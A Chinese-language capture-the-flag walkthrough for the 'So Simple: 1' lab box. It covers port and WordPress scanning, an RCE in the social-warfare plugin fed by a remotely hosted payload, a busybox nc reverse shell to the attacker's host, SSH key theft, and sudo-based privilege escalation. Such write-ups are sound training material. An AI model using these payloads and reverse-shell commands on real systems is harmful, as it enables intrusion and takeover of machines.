So Simple Walkthrough
So Simple Walkthrough
Box Info
官网在这里:So Simple: 1
The Hack
先对目标主机做端口发现
sudo nmap -p- 172.16.33.71 |
目标主机开放 22、80 端口
对开放的端口进行应用版本发现
sudo nmap -p22,80 -A -T4 172.16.33.71 |
22 端口开放 SSH 服务,80 端口开放 http 服务
先来看 SSH 服务,尝试弱口令远程登陆,同时看看能不能泄露机密信息
ssh root@172.16.33.69 |
可惜失败了,目标主机关闭了使用 password 远程登陆,那么暴力破解 SSH 密码也行不通了
那么 22 端口暂时就没有办法了,再来看看 80 端口,先进行目录扫描
dirsearch -u http://172.16.33.71 |
发现目标站点是用 WordPress 搭建的
那就使用 wpscan 对 WordPress 进行扫描
wpscan --url http://172.16.33.71/wordpress -e u,p --api-token <your api token> |
发现了两个插件似乎存在漏洞
看起来 social-warfare 这个 RCE 比较容易利用
在本地 Desktop 创建 payload.txt ,内容为
<pre>system('cat /etc/passwd')</pre> |
开启 http 服务,访问如下网址
http://172.16.33.71/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://10.8.0.90/payload.txt |
利用成功,返回 /etc/passwd
更改 payload.txt ,写入反弹 shell 代码
<pre>system('busybox nc 10.8.0.90 1234 -e /bin/bash')</pre> |
本机开启监听,再次访问,突破边界成功
升级终端为 TTY shell
python3 -c "import pty;pty.spawn('/bin/bash')" |
在 /var/www/html 下找到第一个 flag
接下来是提权,在 /home 会发现两个账户 max 和 steven
在 /home/max 目录中,会发现三个比较有意思的文件
但是三个就是幌子,user.txt 不能访问,personal.txt 的密文解密后为 Hahahahaha, it’s not that easy !!!
而 this 文件夹,进入 /home/max/this/is/maybe/the/way/to/a 后会发现也是兔子洞
在 /home/max/.ssh 中发现 SSH 信息泄露
在目标主机开放 http 服务,将 id_rsa 远程下载至本机,同时限制 id_rsa 权限为 600
chmod 600 id_rsa |
成功远程登陆 max 账号
列出 max 用户在 sudo 权限下可以运行的命令及权限规则
sudo -l |
发现 max 可以以 steven 身份通过 sudo 无密码运行 /usr/sbin/service
直接将用户切换成 steven
sudo -u steven service ../../bin/bash |
列出 steven 用户在 sudo 权限下可以运行的命令及权限规则,发现 steven 可以以 root 身份执行 /opt/tools/server-health.sh 文件
先来看看文件内容
cat /opt/tools/server-health.sh |
文件不存在,看来要自己创建
先创建目录后创建文件,后将反弹 shell 的内容写入文件并赋予可执行权限
steven@so-simple:/home/steven$ mkdir /opt/tools |
宿主机开启 nc 监听,目标主机执行 /opt/tools/server-health.sh 命令
# 目标主机 |
成功获得 root 权限
当然,也可以内核漏洞提权
查看版本信息
lsb_release -a |
发现版本为 Ubuntu 20.04 LTS ,可以使用内核漏洞 CVE-2021-3493 提权
切换至 /tmp 目录,从本机下载 exp ,赋予可执行权限并执行
cd /tmp |
提权成功
获得 flag